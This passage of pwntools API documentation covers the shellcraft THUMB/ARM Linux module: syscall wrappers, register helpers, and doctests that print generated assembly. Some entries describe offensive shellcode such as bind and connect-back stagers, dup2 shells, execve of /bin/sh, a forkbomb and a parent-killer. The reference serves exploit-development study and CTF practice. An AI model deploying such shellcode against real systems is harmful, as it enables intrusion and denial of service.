    /* push 256 */
    mov r7, #0x100
    push {r7}
>>> print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
    mov r7, #0xb
    push {r7}
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
    mov r7, #0x3b
    push {r7}
```

pwnlib.shellcraft.thumb.**pushad**()

Push all of the registers onto the stack which i386 pushad does, in the same order.

pwnlib.shellcraft.thumb.**pushstr**(*string*, *append_null=True*, *register='r7'*)

Pushes a string onto the stack without using null bytes or newline characters.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

Examples:

Note that this doctest has two possibilities for the first result, depending on your version of binutils.

```
>>> enhex(asm(shellcraft.pushstr('Hello\nWorld!', True))) in [
... '87ea070780b4dff8047001e0726c642180b4dff8047001e06f0a576f80b4dff8047001e048656c6c80b4',
... '87ea070780b4dff8067000f002b8726c642180b4dff8047000f002b86f0a576f80b4014f00f002b848656c6c80b
True
>>> print shellcraft.pushstr('abc').rstrip()
    /* push 'abc\x00' */
    ldr r7, value_...
    b value_..._after
value_...: .word 0xff636261
value_..._after:
    lsl r7, #8
    lsr r7, #8
    push {r7}
>>> print enhex(asm(shellcraft.pushstr('\x00', False)))
87ea070780b4
```

`pwnlib.shellcraft.thumb.`**`pushstr_array`**(*reg*, *array*)
Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **`reg`** (*`str`*) – Destination register to hold the pointer.
- **`array`** (*`str, list`*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwnlib.shellcraft.thumb.`**`ret`**(*return_value=None*)
A single-byte RET instruction.

Parameters **`return_value`** – Value to return

`pwnlib.shellcraft.thumb.`**`setregs`**(*reg_context*, *stack_allowed=True*)
Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **`reg_context`** (*`dict`*) – Desired register context
- **`stack_allowed`** (*`bool`*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'r0':1, 'r2':'r3'}).rstrip()
    mov r0, #1
    mov r2, r3
>>> print shellcraft.setregs({'r0':'r1', 'r1':'r0', 'r2':'r3'}).rstrip()
    mov r2, r3
    eor r0, r0, r1 /* xchg r0, r1 */
    eor r1, r0, r1
    eor r0, r0, r1
```

`pwnlib.shellcraft.thumb.`**`to_arm`**(*reg=None*, *avoid=[]*)
Go from THUMB to ARM mode.

`pwnlib.shellcraft.thumb.`**`trap`**()
A trap instruction.

pwnlib.shellcraft.thumb.**udiv_10**(*N*)

Divides r0 by 10. Result is stored in r0, N and Z flags are updated.

Code is from generated from here: https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py

With code: python magic.py 10 code_for_unsigned

pwnlib.shellcraft.thumb.linux

Shellcraft module containing THUMB shellcodes for Linux.

pwnlib.shellcraft.thumb.linux.**accept**(*fd*, *addr*, *addr_len*)

Invokes the syscall accept. See 'man 2 accept' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

pwnlib.shellcraft.thumb.linux.**access**(*name*, *type*)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

pwnlib.shellcraft.thumb.linux.**acct**(*name*)

Invokes the syscall acct. See 'man 2 acct' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.thumb.linux.**alarm**(*seconds*)

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters **seconds** (*unsigned*) – seconds

pwnlib.shellcraft.thumb.linux.**bind**(*fd*, *addr*, *length*)

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*CONST_SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

pwnlib.shellcraft.thumb.linux.**bindsh**(*port*, *network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.thumb.linux.**brk**(*addr*)

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters **addr** (*void*) – addr

pwnlib.shellcraft.thumb.linux.**cat**(*filename*, *fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).recvline()
'FLAG\n'
```

`pwnlib.shellcraft.thumb.linux.`**`chdir`**`(`*path*`)`
Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.thumb.linux.`**`chmod`**`(`*file*, *mode*`)`
Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.`**`chown`**`(`*file*, *owner*, *group*`)`
Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.thumb.linux.`**`chroot`**`(`*path*`)`
Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.thumb.linux.`**`clock_getres`**`(`*clock_id*, *res*`)`
Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **res** (*timespec*) – res

`pwnlib.shellcraft.thumb.linux.`**`clock_gettime`**`(`*clock_id*, *tp*`)`
Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

`pwnlib.shellcraft.thumb.linux.`**`clock_nanosleep`**`(`*clock_id*, *flags*, *req*, *rem*`)`
Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **flags** (*int*) – flags
- **req** (*timespec*) – req
- **rem** (*timespec*) – rem

`pwnlib.shellcraft.thumb.linux.`**`clock_settime`**(*clock_id*, *tp*)

Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- **`clock_id`** (*`clockid_t`*) – clock_id
- **`tp`** (*`timespec`*) – tp

`pwnlib.shellcraft.thumb.linux.`**`clone`**(*fn*, *child_stack*, *flags*, *arg*, *vararg*)

Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- **`fn`** (*`int`*) – fn
- **`child_stack`** (*`void`*) – child_stack
- **`flags`** (*`int`*) – flags
- **`arg`** (*`void`*) – arg
- **`vararg`** (*`int`*) – vararg

`pwnlib.shellcraft.thumb.linux.`**`close`**(*fd*)

Invokes the syscall close. See 'man 2 close' for more information.

Parameters **`fd`** (*`int`*) – fd

`pwnlib.shellcraft.thumb.linux.`**`connect`**(*host*, *port*, *network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.thumb.linux.`**`connectstager`**(*host*, *port*, *network='ipv4'*)

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.thumb.linux.`**`creat`**(*file*, *mode*)

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- **`file`** (*`char`*) – file
- **`mode`** (*`mode_t`*) – mode

`pwnlib.shellcraft.thumb.linux.`**`dup`**(*sock='r6'*)

Args: [sock (imm/reg) = r6] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.thumb.linux.`**`dup2`**(*fd*, *fd2*)

Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`fd2`** (*`int`*) – fd2

`pwnlib.shellcraft.thumb.linux.`**`dup3`**(*fd*, *fd2*, *flags*)

Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`fd2`** (*`int`*) – fd2
- **`flags`** (*`int`*) – flags

pwnlib.shellcraft.thumb.linux.**dupsh**(*sock=’r6’*)

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.thumb.linux.**echo**(*string*, *sock=‘1’*)

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

pwnlib.shellcraft.thumb.linux.**epoll_create**(*size*)

Invokes the syscall epoll_create. See ‘man 2 epoll_create’ for more information.

Parameters **size** (*int*) – size

pwnlib.shellcraft.thumb.linux.**epoll_create1**(*flags*)

Invokes the syscall epoll_create1. See ‘man 2 epoll_create1’ for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**epoll_ctl**(*epfd*, *op*, *fd*, *event*)

Invokes the syscall epoll_ctl. See ‘man 2 epoll_ctl’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **op** (*int*) – op
- **fd** (*int*) – fd
- **event** (*epoll_event*) – event

pwnlib.shellcraft.thumb.linux.**epoll_pwait**(*epfd*, *events*, *maxevents*, *timeout*, *ss*)

Invokes the syscall epoll_pwait. See ‘man 2 epoll_pwait’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.thumb.linux.**epoll_wait**(*epfd*, *events*, *maxevents*, *timeout*)

Invokes the syscall epoll_wait. See ‘man 2 epoll_wait’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout

pwnlib.shellcraft.thumb.linux.**execve**(*path=’/bin///sh’*, *argv=[]*, *envp={}*)

Execute a different process.

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.arm.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

`pwnlib.shellcraft.thumb.linux.`**`exit`**(*status*)

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters **`status`** (*`int`*) – status

`pwnlib.shellcraft.thumb.linux.`**`faccessat`**(*fd*, *file*, *type*, *flag*)

Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`file`** (*`char`*) – file
- **`type`** (*`int`*) – type
- **`flag`** (*`int`*) – flag

`pwnlib.shellcraft.thumb.linux.`**`fallocate`**(*fd*, *mode*, *offset*, *length*)

Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`mode`** (*`int`*) – mode
- **`offset`** (*`off_t`*) – offset
- **`len`** (*`off_t`*) – len

`pwnlib.shellcraft.thumb.linux.`**`fchdir`**(*fd*)

Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

Parameters **`fd`** (*`int`*) – fd

`pwnlib.shellcraft.thumb.linux.`**`fchmod`**(*fd*, *mode*)

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`mode`** (*`mode_t`*) – mode

`pwnlib.shellcraft.thumb.linux.`**`fchmodat`**(*fd*, *file*, *mode*, *flag*)

Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`file`** (*`char`*) – file
- **`mode`** (*`mode_t`*) – mode
- **`flag`** (*`int`*) – flag

`pwnlib.shellcraft.thumb.linux.`**`fchown`**(*fd*, *owner*, *group*)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`owner`** (*`uid_t`*) – owner
- **`group`** (*`gid_t`*) – group

`pwnlib.shellcraft.thumb.linux.`**`fchownat`**(*fd*, *file*, *owner*, *group*, *flag*)

Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`file`** (*`char`*) – file
- **`owner`** (*`uid_t`*) – owner
- **`group`** (*`gid_t`*) – group
- **`flag`** (*`int`*) – flag

`pwnlib.shellcraft.thumb.linux.`**`fcntl`**(*fd*, *cmd*, *vararg*)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`cmd`** (*`int`*) – cmd
- **`vararg`** (*`int`*) – vararg

`pwnlib.shellcraft.thumb.linux.`**`fdatasync`**(*fildes*)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

Parameters **`fildes`** (*`int`*) – fildes

`pwnlib.shellcraft.thumb.linux.`**`findpeer`**(*port*)

Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.

`pwnlib.shellcraft.thumb.linux.`**`findpeersh`**(*port*)

Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.thumb.linux.`**`findpeerstager`**(*port=None*)

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.thumb.linux.`**`flock`**(*fd*, *operation*)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`operation`** (*`int`*) – operation

`pwnlib.shellcraft.thumb.linux.`**`fork`**()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.`**`forkbomb`**()

Performs a forkbomb attack.

pwnlib.shellcraft.thumb.linux.**forkexit**()

Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.thumb.linux.**fstat**(*fd*, *buf*)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat) – buf

pwnlib.shellcraft.thumb.linux.**fstat64**(*fd*, *buf*)

Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat64) – buf

pwnlib.shellcraft.thumb.linux.**fstatat64**(*fd*, *file*, *buf*, *flag*)

Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (stat64) – buf
- **flag** (*int*) – flag

pwnlib.shellcraft.thumb.linux.**fsync**(*fd*)

Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters **fd** (*int*) – fd

pwnlib.shellcraft.thumb.linux.**ftruncate**(*fd*, *length*)

Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

pwnlib.shellcraft.thumb.linux.**ftruncate64**(*fd*, *length*)

Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

pwnlib.shellcraft.thumb.linux.**futimesat**(*fd*, *file*, *tvp*)

Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.thumb.linux.`**`getcwd`**(*buf*, *size*)

Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- **`buf`** (*`char`*) – buf
- **`size`** (*`size_t`*) – size

`pwnlib.shellcraft.thumb.linux.`**`getegid`**()

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.`**`geteuid`**()

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.`**`getgid`**()

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.`**`getgroups`**(*size*, *list*)

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- **`size`** (*`int`*) – size
- **`list`** (*`gid_t`*) – list

`pwnlib.shellcraft.thumb.linux.`**`getitimer`**(*which*, *value*)

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- **`which`** (*`itimer_which_t`*) – which
- **`value`** (*`itimerval`*) – value

`pwnlib.shellcraft.thumb.linux.`**`getpeername`**(*fd*, *addr*, *length*)

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`addr`** (*`SOCKADDR_ARG`*) – addr
- **`len`** (*`socklen_t`*) – len

`pwnlib.shellcraft.thumb.linux.`**`getpgid`**(*pid*)

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

Parameters **`pid`** (*`pid_t`*) – pid

`pwnlib.shellcraft.thumb.linux.`**`getpgrp`**()

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.`**`getpid`**()

Invokes the syscall getpid. See 'man 2 getpid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**getpmsg**(*fildes*, *ctlptr*, *dataptr*, *bandp*, *flagsp*)

Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **bandp** (*int*) – bandp
- **flagsp** (*int*) – flagsp

pwnlib.shellcraft.thumb.linux.**getppid**()

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**getpriority**(*which*, *who*)

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who

pwnlib.shellcraft.thumb.linux.**getresgid**(*rgid*, *egid*, *sgid*)

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

pwnlib.shellcraft.thumb.linux.**getresuid**(*ruid*, *euid*, *suid*)

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

pwnlib.shellcraft.thumb.linux.**getrlimit**(*resource*, *rlimits*)

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

pwnlib.shellcraft.thumb.linux.**getrusage**(*who*, *usage*)

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

- **who** (*rusage_who_t*) – who
- **usage** (*rusage*) – usage

pwnlib.shellcraft.thumb.linux.**getsid**(*pid*)

Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters **pid** (*pid_t*) – pid

pwnlib.shellcraft.thumb.linux.**getsockname**(*fd*, *addr*, *length*)

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

pwnlib.shellcraft.thumb.linux.**getsockopt**(*fd*, *level*, *optname*, *optval*, *optlen*)

Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

pwnlib.shellcraft.thumb.linux.**gettimeofday**(*tv*, *tz*)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

pwnlib.shellcraft.thumb.linux.**getuid**()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**gtty**(*fd*, *params*)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

pwnlib.shellcraft.thumb.linux.**ioctl**(*fd*, *request*, *vararg*)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**ioperm**(*from_*, *num*, *turn_on*)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

pwnlib.shellcraft.thumb.linux.**iopl**(*level*)
Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters **level** (*int*) – level

pwnlib.shellcraft.thumb.linux.**kill**(*pid*, *sig*)
Invokes the syscall kill. See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

pwnlib.shellcraft.thumb.linux.**killparent**()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.thumb.linux.**lchown**(*file*, *owner*, *group*)
Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

pwnlib.shellcraft.thumb.linux.**link**(*from_*, *to*)
Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

pwnlib.shellcraft.thumb.linux.**linkat**(*fromfd*, *from_*, *tofd*, *to*, *flags*)
Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**listen**(*port*, *network*)
Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.thumb.linux.**loader**(*address*)
Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

pwnlib.shellcraft.thumb.linux.**loader_append**(*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example:

The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

> # >>> gcc = process([’arm-linux-gnueabihf-gcc’,’-xc’,’-static’,’-Wl,-Ttext-segment=0x20000000’,’-‘]) # >>> gcc.write(‘” # ... int main() { # ... printf(“Hello, %s!\n”, “world”); # ... } # ... ‘’‘) # >>> gcc.shutdown(‘send’) # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append(‘a.out’) # >>> run_assembly(sc).recvline() # ‘Hello, world!n’

pwnlib.shellcraft.thumb.linux.**lseek**(*fd*, *offset*, *whence*)

Invokes the syscall lseek. See ‘man 2 lseek’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

pwnlib.shellcraft.thumb.linux.**lstat**(*file*, *buf*)

Invokes the syscall lstat. See ‘man 2 lstat’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (stat) – buf

pwnlib.shellcraft.thumb.linux.**lstat64**(*file*, *buf*)

Invokes the syscall lstat64. See ‘man 2 lstat64’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (stat64) – buf

pwnlib.shellcraft.thumb.linux.**madvise**(*addr*, *length*, *advice*)

Invokes the syscall madvise. See ‘man 2 madvise’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

pwnlib.shellcraft.thumb.linux.**mincore**(*start*, *length*, *vec*)

Invokes the syscall mincore. See ‘man 2 mincore’ for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

`pwnlib.shellcraft.thumb.linux.`**`mkdir`**(*path*, *mode*)

Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.`**`mkdirat`**(*fd*, *path*, *mode*)

Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.`**`mknod`**(*path*, *mode*, *dev*)

Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.thumb.linux.`**`mknodat`**(*fd*, *path*, *mode*, *dev*)

Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.thumb.linux.`**`mlock`**(*addr*, *length*)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.`**`mlockall`**(*flags*)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.`**`mmap`**(*addr=0*, *length=4096*, *prot=7*, *flags=34*, *fd=-1*, *offset=0*)

Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot

- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

pwnlib.shellcraft.thumb.linux.**mov**(*dst*, *src*)

Returns THUMB code for moving the specified source value into the specified destination register.

If src is a string that is not a register, then it will locally set *context.arch* to *'thumb'* and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.thumb.mov('r1','r2').rstrip()
    mov r1, r2
>>> print shellcraft.thumb.mov('r1', 0).rstrip()
    eor r1, r1
>>> print shellcraft.thumb.mov('r1', 10).rstrip()
    mov r1, #0xa + 1
    sub r1, r1, 1
>>> print shellcraft.thumb.mov('r1', 17).rstrip()
    mov r1, #0x11
>>> print shellcraft.thumb.mov('r1', 'r1').rstrip()
    /* moving r1 into r1, but this is a no-op */
>>> print shellcraft.thumb.mov('r1', 512).rstrip()
    mov r1, #0x200
>>> print shellcraft.thumb.mov('r1', 0x10000001).rstrip()
    mov r1, #(0x10000001 >> 28)
    lsl r1, #28
    add r1, #(0x10000001 & 0xff)
>>> print shellcraft.thumb.mov('r1', 0xdead0000).rstrip()
    mov r1, #(0xdead0000 >> 25)
    lsl r1, #(25 - 16)
    add r1, #((0xdead0000 >> 16) & 0xff)
    lsl r1, #16
>>> print shellcraft.thumb.mov('r1', 0xdead00ff).rstrip()
    ldr r1, value_...
    b value_..._after
value_...: .word 0xdead00ff
value_..._after:
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
    mov r1, #(SYS_execve) /* 0xb */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.thumb.mov('r1', 'SYS_execve').rstrip()
    mov r1, #(SYS_execve) /* 0x3b */
>>> with context.local(os = 'linux'):
...     print shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
    mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
```

pwnlib.shellcraft.thumb.linux.**mprotect**(*addr*, *length*, *prot*)

Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- **addr** (*void*) – addr

- **len** (*size_t*) – len
- **prot** (*int*) – prot

pwnlib.shellcraft.thumb.linux.**mq_notify**(*mqdes*, *notification*)

Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

pwnlib.shellcraft.thumb.linux.**mq_open**(*name*, *oflag*, *vararg*)

Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**mq_timedreceive**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

pwnlib.shellcraft.thumb.linux.**mq_timedsend**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

pwnlib.shellcraft.thumb.linux.**mq_unlink**(*name*)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.thumb.linux.**mremap**(*addr*, *old_len*, *new_len*, *flags*, *vararg*)

Invokes the syscall mremap. See 'man 2 mremap' for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len

- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**msync**(*addr*, *length*, *flags*)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

